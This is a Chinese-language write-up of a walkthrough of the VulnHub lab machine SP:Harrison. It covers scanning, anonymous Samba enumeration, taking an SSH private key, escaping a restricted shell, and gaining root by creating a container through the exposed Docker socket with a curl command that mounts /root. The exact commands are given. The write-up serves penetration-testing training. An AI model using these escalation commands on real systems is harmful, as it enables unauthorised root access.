下载地址:‘https://www.vulnhub.com/entry/sp-harrison,302/’

环境:靶机放在virtualbox上运行,网卡模式

攻击机:kali Linux运行在VMware,注意网络模式选择桥接,并且桥接在virtualbox的虚拟网卡上

现在开始进入主题

首先使用netdiscover开启网络发现

发现了几个网段,因为靶机和我们是连接在同一张网卡,kali地址是192.168.163.0网段,那就上nmap这个工具

扫网段发现192.168.163.3这个机子是在vir上运行,靶机无疑。直接使用nmap -A 192.168.163.3 -p 1-65535 进行全扫描

有22,445端口

445 端口运行samba服务,是Linux下的一个共享服务,可以使用enum4linux 进行一个枚举

22端口运行ssh服务,并在扫描信息中发现了一个用户harrison,因为ssh算一个比较完善的服务,漏洞利用少,爆破也是不错的选择

使用enum4linux进行枚举,发现了一个共享文件夹Private

我们在使用smb客户端进看看是否是匿名共享,确实是匿名, -L   显示服务器端所分享出来的所有资源

直接连接smb的命令和ftp区别不大,ls一下文件发现了两个可以的.ssh目录可能存在密钥对,使我们ssh连接的时候使用私钥不用密码

flag.txt可能是我们这一关的终点站

下载到本地

查看内容,flag.txt经百度翻译为不会那么容易的。

id_rsa存私钥

authorized_keys里面存在着一份公钥,且有root字眼存在,不知道会不会是坑

使用ssh连接发现root使用不了私钥,我们前面扫描出一个用户搞好成功了,但是发现只能使用几个命令,受到限制

试试绕过,在次基础是新建一个shell终端进行绕过,最后成功了echo && 'bash'

echo 输出 &&与逻辑前面命令成功继续执行后面的所以shell就成功了

找到两个flag文件都不是,不过root下的flag有执行权限,应该是他,所以我们要进行提权

收集信息

uname -a # 查看内核/操作系统/CPU信息

cat /etc/issue,此命令也适用于所有的Linux发行版

得到几个有用的信息

找内核有没有漏洞,很不幸没有找到,可能是我的searchsploit太久没更新了,也有可能是这个版本还没有爆出漏洞,比竟这个靶机是5月份

上传LinEnum.sh

下载地址https://github.com/rebootuser/LinEnum.git

运行kali上的python形成一个简单的HTTP服务,记得放LinEnum脚本的地方最好在本地浏览器试一下

在靶机是属于wget下载脚本,运行,先给脚本可执行权限

查看一下suid(可以让调用者以文件拥有者的身份运行该文件)就是以root的权限运行

(Nmap Vim find Bash More Less Nano cp)

到这里我熟悉的就用完了,想了一下,还有docker,进去/run查看一下运行文件,发现了docker.sock

谷歌上搜了一会发现两篇文章

https://blog.fundebug.com/2017/04/17/about-docker-sock/

https://www.freebuf.com/articles/system/201793.html

本地命令好像是这样子,但是我们要新建一个容许来挂载/root,所以要改一下poc

试一下,

curl  -XPOST  -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKey":"ctrl-p,ctrl-q","Mounts":[{"Type":"bind","Source":"/root/","Target":'/os_root'}]}'   http://localhost/containers/create

-XPOST 发送post请求

-h 添加请求头

Image 创造镜像名称

attach进入Docker容器,指定退出attach模式的快捷键序列,默认是CTRL+p CTRL-q

Cmd 执行的命令

Mounts 挂载 ,将root挂载在容器的os_root

--unix-socket 指定 unix socket 文件的地址 ,监听地址不是 IP:Port 而是 unix socket 的程序

curl --unix-socket /var/run/docker.sock http://localhost/images/json 获取所有的容器这个命令或许有用记下来

nc -U /var/run/docker.socket

nc不是脑残的缩写,是net cat的缩写。-U指明是unix socket

不知道传啥,然后又找到这个

改一下我们的poc

curl  -XPOST  -H 'Content-Type: application/json' --unix-socket /var/run/docker.sock  -d '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKey":"ctrl-p,ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}'   http://localhost/containers/create

成功提权,root

vulnhub之SP:Harrison靶机的更多相关文章

  1. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  2. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  3. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  4. vulnhub靶机Os-hackNos-1

    vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...

  5. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  6. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  7. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  8. vulnhub靶机之DC6实战(wordpress+nmap提权)

    0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...

  9. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

随机推荐

  1. ASP.NET Core 3.0 使用AspectCore-Framework实现AOP

    AspectCore是适用于Asp.Net Core 平台的轻量级Aop(Aspect-oriented programming)解决方案,它更好的遵循Asp.Net Core的模块化开发理念,使用A ...

  2. liteos互斥锁(七)

    1. 概述 1.1 基本概念 互斥锁又称互斥型信号量,是一种特殊的二值性信号量,用于实现对共享资源的独占式处理. 任意时刻互斥锁的状态只有两种,开锁或闭锁.当有任务持有时,互斥锁处于闭锁状态,这个任务 ...

  3. vim 自定义设置格式

    在centos 6.9 或 7.3 环境下 可以在自己账户的主目录下新建一个.vimrc 的文件,放入一下代码: syntax on "即设置语法检测,当编辑C或者Shell脚本时,关键字会 ...

  4. Linux学习之常用命令(三)

    常用命令之工作目录 显示当前目录 pwd[选项] 切换目录 cd [文件路径] cd /root 注意:可以使用Tab键进行路径补齐 cd .. >>返回上次的目录 显示目录以及文件信息 ...

  5. 关于微信开发者工具创建项目和导入项目半天不响应或者socket hang out

    笔者的电脑系统是macOS Catalina(10.15),其实之前的系统版本也遇到一样的问题,网络环境是学校实验室. 解决办法:连接手机Wi-Fi 原理:目前不清楚,清楚的小伙伴可在下方留言交流

  6. 基于VLC库C#开发可播放摄像头及任意格式视频的播放器

    前言 本文主要讲述,在WPF中,借助Vlc.DotNet调用VLC类库,实现视频播功能,下面我们先来做开发前的准备工作. 准备工作 首先,我们创建一个项目WpfVLC,然后,进入Neget搜索Vlc. ...

  7. git stash 命令

    摘自: http://blog.csdn.net/longxiaowu/article/details/26815433 关于git stash命令的使用方法网上一大把,我想记录的是我在使用过程中觉得 ...

  8. LAMP组合

    动,静资源: 静态资源:客户端从服务器获得的资源表现形式与原文件相同 动态资源:通常是程序文件,需要在服务器执行之后,将执行的结果返回给客户端. 我们还可以这样理解静态资源:服务器端接入到客户端的请求 ...

  9. mac os下切换pip3国内源并安装requests库

    在使用Python的时候,经常会用到pip来安装模块,但是默认的下载源实在是特别慢,经常install的时候还会因为速度的原因直接报错,因此我们可以选择将下载源更改为国内的,这样就可以提高我们的下载速 ...

  10. day14_7.16 模块

    一.模块 1.什么是模块? 模块就是一系列功能的结合体. 模块的三种来源: 1.内置的,也就是python解释器自带的,可以直接导入 2.第三方的,需要下载的 3.自定义的,自己写的模块 模块的四种表 ...